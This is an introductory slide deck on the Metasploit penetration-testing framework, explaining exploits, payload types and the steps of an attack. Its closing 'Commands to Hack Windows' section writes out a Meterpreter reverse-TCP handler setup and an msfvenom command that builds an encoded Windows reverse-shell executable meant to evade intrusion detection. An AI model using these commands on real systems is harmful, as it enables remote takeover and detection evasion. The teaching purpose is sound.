Metasploit

-Chaitanya Vooradi

What is Metasploit ??

- Metasploit is an open source framework contains collection of exploits for penetration testing and also used for development of new exploits.
- Developed mainly to make the life of security researchers easy.

Languages Used to Develop

- Version 1.0 and Version 2.0 developed in Perl
- Version 3.0 developed in Ruby which boasts the power of automation due to Ruby's status as object oriented language.

Use of Metasploit

- Network Security professionals →penetration testing
- Security Administrators → patch installation verification
- Product vendors → Regression testing
- Security researchers → Development of exploits

Terms to Know

- **Vulnerability:** A weakness which allows an attacker to break into or compromise a system's security.
- **Exploit:** Code which allows an attacker to take advantage of a vulnerability system.
- **Payload:** Actual code which runs on the system after exploitation
- **Auxiliary Modules**: Used for Scanning, fuzzing, sniffing, etc..

Payload Types

- **Singles:** A single payload contains the exploit and full shell code for the selected task. Singles are payloads that are self-contained and completely standalone

- **Stagers:** Stager establishes a communication channel between the attacker and the victim and reads in a stage payload to execute on the remote host.

- **Stages:** Stages provide the components for the stager to deploy. Stages are *payload components* that are downloaded by Stagers modules

Difference in Syntax Form

Payload Type	Example
Single	*windows/shell_bind_tcp*
Stager	windows/shell/*bind_tcp*
Stage	windows/*shell*/bind_tcp

Steps to Exploit a Target:

1)Select the target Exploit and configure it

2)Configure the Payload

3) Select and configure the encoding schema to be used to make sure that the payload can evade Intrusion Detection Systems with ease.

4)Execute the Exploit

- Metasploitable is an intentionally vulnerable target machine for evaluating Metasploit.

Commands to Hack Windows

→use exploit/multi/handler

→set payload windows/meterpreter/reverse_tcp

→set LHOST="ip address of Local Host"

Command to Generate Payload

→ msfvenom -p windows/meterpreter/reverse_tcp LHOST="local host ip" -LPORT="local port" -f exe -e x86/shikata_ga_nai -i 10 -o /root/Desktop/"name".exe

Queries?